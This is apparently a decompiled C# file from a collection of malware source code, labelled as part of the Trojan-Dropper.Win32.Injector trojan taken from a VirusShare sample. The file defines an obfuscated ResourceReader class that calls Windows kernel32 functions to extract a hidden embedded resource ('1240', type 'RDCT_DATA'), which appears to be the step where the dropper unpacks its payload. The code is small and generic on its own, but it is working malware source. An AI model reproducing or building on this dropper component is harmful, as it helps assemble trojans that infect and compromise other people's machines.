MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.byvr-3123f0068ffb523853cd675a624dd1ad16283eeba21e5e0f64cb53ce90ce5ce3/ResourceReader.cs

// Decompiled with JetBrains decompiler
// Type: YDEHbxsysxbgxdv.ResourceReader
// Assembly: lalalalalallalalalala5.0, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2E908D04-A26F-44E4-B264-050F7046223E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.byvr-3123f0068ffb523853cd675a624dd1ad16283eeba21e5e0f64cb53ce90ce5ce3.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Runtime.InteropServices;

namespace YDEHbxsysxbgxdv
{
  [StandardModule]
  internal sealed class ResourceReader
  {
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr FindResource(
      IntPtr uZbqhyroon1GDCxlW2G15C7FARRi2fgNqm3i2fFp83vPqAm7mcUuz9G,
      string lpName,
      string lpType);

    [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName);

    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern int SizeofResource(
      IntPtr uZbqhyroon1GDCxlW2G15C7FARRi2fgNqm3i2fFp83vPqAm7mcUuz9G,
      IntPtr hResInfo);

    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern IntPtr LoadResource(
      IntPtr uZbqhyroon1GDCxlW2G15C7FARRi2fgNqm3i2fFp83vPqAm7mcUuz9G,
      IntPtr hResInfo);

    public static byte[] ReadResource(string filename)
    {
      IntPtr moduleHandle = ResourceReader.GetModuleHandle(ref filename);
      IntPtr resource = ResourceReader.FindResource(moduleHandle, "1240", "RDCT_DATA");
      IntPtr source = ResourceReader.LoadResource(moduleHandle, resource);
      int length = ResourceReader.SizeofResource(moduleHandle, resource);
      byte[] destination = new byte[checked (length - 1 + 1)];
      Marshal.Copy(source, destination, 0, length);
      return destination;
    }
  }
}